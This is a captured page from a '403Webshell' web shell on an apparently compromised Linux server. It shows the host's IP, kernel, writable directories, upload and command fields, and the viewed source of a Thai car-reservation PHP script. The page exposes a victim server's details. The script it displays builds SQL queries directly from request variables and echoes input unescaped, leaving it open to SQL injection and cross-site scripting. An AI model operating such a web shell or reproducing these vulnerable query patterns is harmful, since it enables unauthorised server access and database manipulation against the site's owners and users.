403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/CAR/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/CAR/edit_driver.php
<?php
$ebits = ini_get('error_reporting');
error_reporting($ebits ^ E_NOTICE);
?>

<?php
include("dbconfig.php");
include( "function.php" );
?>
<?
if ( $cmdSubmit == "แก้ไขคนขับหรือทะเบียนรถ" )
{	


mysql_select_db($__db__);
mysql_query(" SET NAMES 'tis620'; ");
$datedb1 = formatDateDB($date1);
$datedb2 = formatDateDB($date2);
$usql="update tran set  date1= '$datedb1',date2 = '$datedb2', time1 = '$time1', time2 = '$time2',u2 = '$u2',u3 = '$u3',u4 = '$u4',u5='$u5',car_id='$car_id',M_Pass='".$_POST['M_Pass']."',driver='".$_POST['driver']."' where no ='$no' ";
$uresult = mysql_query($usql );
	//echo $usql.'<br>';
//echo 't'.$uresult;
echo "<script language='JavaScript'>";
echo "alert('บันทึกเรียบร้อยแล้ว');";
echo "location='index.php';";
echo "</script>";
}
?>
<html>
<head>
<title>แก้ไขคนขับหรือทะเบียนรถ</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<LINK href="style.css" rel=stylesheet>
<STYLE type=text/css>
a:link{color:black;text-decoration:none;font-family:ms sans serif;}
a:visited{color:black;text-decoration:none;font-family:ms sans serif;}
a:hover{color:blue;text-decoration:none;font-family:ms sans serif;}
td{font-size:10pt;font-family:ms sans serif;}

</STYLE>

<script language="JavaScript1.2">
<!--
/*
Auto Maximize Window Script- By Nick Lowe (nicklowe@ukonline.co.uk)
*/
top.window.moveTo(0,0);
if (document.all) {
top.window.resizeTo(screen.availWidth,screen.availHeight);
}
else if (document.layersdocument.getElementById) {
if (top.window.outerHeight<screen.availHeighttop.window.outerWidth<screen.availWidth){
top.window.outerHeight = screen.availHeight;
top.window.outerWidth = screen.availWidth;
}
}
//-->
</script>
</head>
<body>
<STYLE type=text/css>A.no_de:hover {
	TEXT-DECORATION: none
}
</STYLE>
<TABLE height=54 cellSpacing=0 cellPadding=0 width="100%" border=0>
  <TBODY>
    <TR> 
      <TD style="BACKGROUND-COLOR: #f0f7ff" colSpan=2></TD>
    </TR>
    <TR bgColor=#c7d2e7> 
      <TD class=thwbold width="89%" height=28> <div align="center"><strong><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">แก้ไขคนขับหรือทะเบียนรถ</font></strong></div></TD>
      <TD width="11%" height=28 align=right vAlign=center bgColor=#c7d1e7 class=thsans><A 
      href=""><IMG height=18 
      alt="" src="../images/youraccount.gif" width=18 
      align=absMiddle border=0></A> <A 
      href=""></A> &nbsp;<A 
      href=""><IMG height=18 alt=Help! 
      src="../images/q.gif" width=18 align=absMiddle border=0></A> 
        <A href=""></A> <IMG height=18 
      alt="" hspace=3 src="../images/cart.gif" width=18 
      align=absMiddle border=0><A 
      href=""></A>&nbsp; </TD>
    </TR>
    <TR> 
      <TD style="BACKGROUND-COLOR: black" colSpan=2></TD>
    </TR>
    <TR> 
      <TD style="BACKGROUND-COLOR: #f0f8ff" colSpan=2></TD>
    </TR>
    <TR vAlign=center bgColor=#216289> 
      <TD class=thwbold colSpan=2 height=20>&nbsp; </TD>
    </TR>
    <TR> 
      <TD style="BACKGROUND-COLOR: black; heigth: 1" 
colSpan=2></TD>
    </TR>
  </TBODY>
</TABLE>
<?php
mysql_select_db($__db__);
mysql_query(" SET NAMES 'tis620'; ");
			$sql="select  *  from tran  where no = '$no' ";
			$result=mysql_query($sql);
					
			while ($object = mysql_fetch_object($result))
			  {
			  $user_id = $object ->user_id;
			  $target = $object ->target;
			  $person = $object ->person;				
			  $u1 = $object ->u1;
			  $u2 = $object ->u2;
			  $u3 = $object ->u3;
			  $u4 = $object ->u4;
			  $u5 = $object ->u5;
			  $reason = $object ->reason;
			   $res_id = $object ->res_id;
			  $date = $object ->date ;
			  $date1 = $object ->date1;
			   $time = $object ->time;
			  $time1 = $object ->time1;
    		  $date2 = $object ->date2 ;
			  $time2 = $object ->time2;
			   $approv = $object ->approv;
			   $car_id = $object ->car_id;
			   $driver = $object ->driver;
			   $comment = $object ->comment;
			   $dept_h_full_name = $object ->dept_h_full_name;
			   $PRID = $object ->PRID;
				$B = $object ->B;
				$typeB1 = $object ->typeB1;
				$typeB2 = $object ->typeB2;
				$typeB3 = $object ->typeB3;
				$M_Pass= $object ->M_Pass;
			   $c_ment =$object ->c_ment;
			  }			
			  ?>
<form name="form1" method="post" action="reserv_sit.php">
  <table cellspacing=0 cellpadding=0 width="100%" border=0>
    <tbody>
      <tr> 
        <td width="100%" height="334" colspan=2> <table width="100%" border=0>
            <tbody>
              <tr> 
                <td 
                      style="BACKGROUND-IMAGE: url(pointsmall.gif); BACKGROUND-REPEAT: repeat-x"></td>
              </tr>
            </tbody>
          </table>
          <div class=thtahomasmall 
                  style="PADDING-RIGHT: 2px; PADDING-LEFT: 2px; PADDING-BOTTOM: 2px; PADDING-TOP: 2px" 
                  align=right> </div>
          <div id=news_newyear 
                  style="BORDER-RIGHT: #c7d2e7 1px solid; PADDING-RIGHT: 3px; BORDER-TOP: #c7d2e7 1px solid; PADDING-LEFT: 3px; MARGIN-BOTTOM: 3px; PADDING-BOTTOM: 3px; BORDER-LEFT: #c7d2e7 1px solid; PADDING-TOP: 3px; BORDER-BOTTOM: #c7d2e7 1px solid; BACKGROUND-COLOR: #f0f8ff"> 
            <table width="95%" border="0" cellpadding="0" cellspacing="2">
              <tr> 
                <td width="12%" height="25">เลขที่ 
                  <input name="no" type="hidden" id="no" size="6" value="<? echo $no ;?>" readonly="yes"> 
                
				  <? echo "<font color=\"#F94000\"> $no </font><br>"; ?>
                <td width="88%"> <div align="right"> วันที่ <? echo FormatDateshow($date) ." เวลา : ".$time ; ?> 
                  </div></td>
              </tr>
              <tr> 
                <td height="23" colspan="2"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"><strong>ชื่อผู้ขอ</strong></font> 
                  <input type="hidden" name="textfield"  value="<? echo $name ; ?>" readonly="yes" > 
				  <? echo "<font color=\"#1A02FF\"> $name </font><br>"; ?>
				  <font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">&nbsp; <br>
				  <font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"><strong>ชื่อหัวหน้าแผนก </strong></font> 
                  <input type="hidden" name="textfield"  value="<? echo $dept_h_full_name  ; ?>" readonly="yes" > 
				  <? echo "<font color=\"#1A02FF\"> $dept_h_full_name </font><br>"; ?>
                  <br></font></td>
              </tr>
              <tr> 
                <td height="20" colspan="2"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"><strong>ขออนุญาตใช้รถยนต์ 
                  ( ไปที่ไหน )</strong></font> <input name="target" type="hidden" id="target" size="80" value="<? echo  $target ; ?>"  readonly="yes"> 
               <? echo "<font color=\"#1A02FF\"> $target </font><br>"; ?><br></td>
              </tr>
              <tr> 
			  
                <td height="31" colspan="2"><strong><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">เพื่อ</font></strong> 
				<?php 
							mysql_select_db($__db__);
							mysql_query(" SET NAMES 'tis620'; ");
							$sqlr="select  *  from c_reason  where res_id = '".$res_id."' ";
							$resultr=mysql_query($sqlr);
							// echo 't'. $sqlr.'<br>';
							// echo 't'. $resultr.'<br>';
							while ($objectlr = mysql_fetch_object($resultr)) {
								 $reason2 = $objectlr->reason2 ;
								//echo 'k'. $reason2.'<br>';
								 //echo 'k'. $reason2.'<br>';
							}
						?>
                          <input name="res_id" type="hidden" id="res_id" size="90" value="<? echo $res_id ;?>">
                         <font color="#1A02FF"><strong> <? echo $reason2 ;?></strong></font>
                  <input name="reason" type="hidden" id="code22" size="90" value="<? echo $reason ;?>" readonly="yes"> 
                  <? echo "<font color=\"#1A02FF\"> $reason </font><br>"; ?><br> 
                  <strong>มีคนนั่ง</strong> <input name="person" type="hidden" id="person" size="3" maxlength="3" value="<? echo $person ;?>"> 
                  <? echo $person ;?> <strong> คน <br>
                  <br>
                  </strong></td>
              </tr>
              <tr> 
                <td height="31" colspan="2"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"><strong>ในวันที่</strong></font>ี่ 
                  <input name="date1" type="text" id="date22" value="<? echo formatDateshow1($date1) ; ?>" size="12"  > 
                  <strong>เวลา</strong> <input name="time1" type="text" id="time1" size="6" value="<? echo $time1 ;?>" > 
                  <strong> ถึงวันที่</strong> <input name="date2" type="text" id="date32" value="<? echo formatDateshow1($date2) ; ?>" size="12" > 
                  <strong> เวลา</strong> <input name="time2" type="text" id="time2" size="6" value="<? echo $time2 ;?>"> 
                </td>
              </tr>
			  <tr> 
                 <td height="25" colspan="4"><br> 
				<!-- <div align="left"><strong>เลขที่หนังสืออนุมัติอบรบ/เดินทางไปราชการ ที่</strong>
				   <input name="PRID" type="hidden" id="PRID" value="<? echo $PRID ;?>"> <span class="style1"><? echo $PRID ;?></span>
				    &nbsp; &nbsp; &nbsp;  
                  <?php /* if($B=='n') echo  
				  
				  '<input name="B" type="radio"  checked="checked" readonly="yes">&nbsp;ไม่มีเบิกค่าใช้จ่าย  </div>';
				  else
				  
				  echo ' &nbsp; &nbsp; &nbsp; 
				  <input name="B" type="radio" checked="checked" >&nbsp;มีเบิกค่าใช้จ่าย';
				  if ($typeB1<>'') echo '&nbsp;<input  name="typeB1" type="checkbox" checked="checked" >'. $typeB1;
				  if ($typeB2<>'') echo '&nbsp;<input  name="typeB2" type="checkbox" checked="checked">'. $typeB2;
				  if ($typeB3<>'') echo '&nbsp;<input  name="typeB3" type="checkbox" checked="checked">'. $typeB3;
				  echo '</div>'*/?>
				  </div>--></td></tr>
              <tr> 
                <td height="25" colspan="2"><div align="right">ผู้ขออนุญาต 
                    <input name="approv" type="hidden" id="approv" value="<? echo $approv ;?>" readonly="yes">
                    <? if($approv=="0") {
									$approv = "" ;
									 echo "  &nbsp; &nbsp;      ยังไม่ผ่านหัวหน้า"; }
							 		else
									echo $approv	 ;						
							 ?>
                  </div></td>
              </tr>
              <tr> 
                <td height="25" colspan="2"><div align="right"> 
                    <p>ผู้มีอำนาจสั่งใช้รถ 
                      <input name="boss" type="hidden" id="boss" value="<? echo $boss ;?>" readonly="yes">
                      <? echo $boss ;?> </p>
                  </div></td>
              </tr>
              <tr> 
                <td height="20"><strong>รายชื่อผู้นั่ง</strong></td>
                <td> 1. 
                  <input name="u1" type="hidden" id="u1"  value="<? echo $u1 ;?>" readonly="yes"> 
                  <? echo $u1 ;?> 
				  2. 
                  <input name="u2" type="hidden" id="u2" value="<? echo $u2 ;?>" readonly="yes">
				  <? echo $u2 ;?>
                  3. 
                  <input name="u3"type="hidden" id="u3" value="<? echo $u3 ;?>" readonly="yes">
				  <? echo $u3 ;?></td>
              </tr>
              <tr> 
                <td height="20">&nbsp;</td>
                <td>4. 
                  <input name="u4" type="hidden" id="u42" value="<? echo $u4  ; ?>" readonly="yes">
				  <? echo $u4 ;?>
                  5. 
                  <input name="u5" type="hidden" id="u52" value="<? echo $u5  ; ?>" readonly="yes">
				  <? echo $u5 ;?></td>
              </tr>
			   <tr> 
                        <td height="22"  ><strong><font color="#FF0000" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">
						หมายเหตุ ไม่สามารถจัดรถได้เนื่องจาก</font></strong></td>
                        <td colspan="2"><strong>	<font face="Microsoft Sans Serif, MS Sans Serif, sans-serif"> 
                          <input name="comment" type="text" id="comment" size="80" value="<?php echo $comment; ?>">
                          </font></strong></td>
                      </tr>
              <tr> 
                <td height="22"><strong></strong></td>
                <td><strong><font face="Microsoft Sans Serif, MS Sans Serif, sans-serif"> 
                  </font></strong></td>
              </tr>
              <tr> 
                        <td height="23">พนักงานขับรถ</td>
                        <td> <font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"> 
                          <? 
mysql_select_db($__dbwp__);
mysql_query(" SET NAMES 'tis620'; ");
					  $sqll="select  id,name  from user  where id = '$driver'";
					   $lresult=mysql_query($sqll);
					   while ($objectl = mysql_fetch_object($lresult))
			  			{
						 $cname = $objectl->name;
						 }
				
			//			 mysql_close($db);
						
						  ?>
                          <select name=driver id="driver">
                            <option value="<? echo $driver ?>"><? echo $cname ;?> 
                            </option>
                            <?
mysql_select_db($__dbwp__);
mysql_query(" SET NAMES 'tis620'; ");
						$plquery="select  id,name from  user  where  position = 'พนักงานขับรถยนต์' and status = '1' ";
						$plresult=mysql_query($plquery);
				
						while ($plobject = mysql_fetch_object($plresult))
						{
							echo "<OPTION VALUE =".$plobject ->id.">" .$plobject ->name."</Option>" ;
						}
					
						?>
                          </select>
                          &nbsp; </font>ทะเบียนรถยนต์ 
                          <select name="car_id" id="car_id">
                            <option value = "<? echo $car_id ;?>"> <? echo $car_id ;?> 
                            </option>
                            <?
mysql_select_db($__db__);
mysql_query(" SET NAMES 'tis620'; ");
						$cplquery="select  * from car  where status ='1' ";
						$cplresult=mysql_query($cplquery);

						while ($cplobject = mysql_fetch_object($cplresult))
						{
							echo "<OPTION VALUE =".$cplobject ->regist.">" .$cplobject ->regist."</Option>" ;
						}
					 ?>
                          </select>&nbsp;
						   ทะเบียน M-Pass <select name="M_Pass" id="M_Pass">
						  <option value = "<? echo $M_Pass ;?>"> <? echo $M_Pass;?> 
                            </option>
                            <?
mysql_select_db($__db__);
mysql_query(" SET NAMES 'tis620'; ");
						$cplquery="select  * from car  where M_Pass ='y' ";
						$cplresult=mysql_query($cplquery);

						while ($cplobject = mysql_fetch_object($cplresult))
						{
							echo "<OPTION VALUE =".$cplobject ->regist.">" .$cplobject ->regist."</Option>" ;
						}
					 ?>
                          </select></td>
                      </tr>
              <tr> 
                <td height="20">&nbsp;</td>
                <td>
                  <?
						if (strlen($comment) >1) echo "<font color = 'red' >ไม่สามารถจัดรถได้ เพราะ ".$comment ."</font>";
						?>
                </td>
              </tr>
              <tr> 
                <td height="23"><? echo	"<a href='prq1.php?no=$no&driver=$cname&date=$date&name=$name&target=$target&reason=$reason&date1=".formatDateshow1($date1)."&date2=".formatDateshow1($date2)."&approv=$approv&u1=$u1&u2=$u2&u3=$u3&u4=$u4&u5=$u5&car_id=$car_id&person=$person&time1=$time1&time2=$time2&nameboss=$boss&comment=$comment&inputtime=$time 'target='_self'><img src='print.gif' width='70' height='30'></a>" ; 
				//echo	"<a href='print_rq.php?no=$no&driver=$cname&date=$date&name=$name&target=$target&reason=$reason&date1=".formatDateshow1($date1)."&date2=".formatDateshow1($date2)."&approv=$approv&u1=$u1&u2=$u2&u3=$u3&u4=$u4&u5=$u5&car_id=$car_id&person=$person&time1=$time1&time2=$time2&nameboss=$boss&comment=$comment&inputtime=$time 'target='_self'><img src='print.gif' width='70' height='30'></a>" ; 
				
				?></td>
                <td> <div align="right"> พิมพ์ชื่อเสร็จแล้วกดปุ่มนี้ &gt;&gt; 
                    <input name="cmdSubmit" type="submit" id="cmdSubmit" value="แก้ไขคนขับหรือทะเบียนรถ">
                  </div></td>
              </tr>
            </table>
          </div></td>
      </tr>
    </tbody>
  </table>
  <TABLE cellSpacing=0 cellPadding=3 width="100%" align=center border=0>
    <TBODY>
      <TR> 
        <TD height="126" vAlign=top>&nbsp; </TD>
      </TR>
    </TBODY>
  </TABLE>
  </form>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit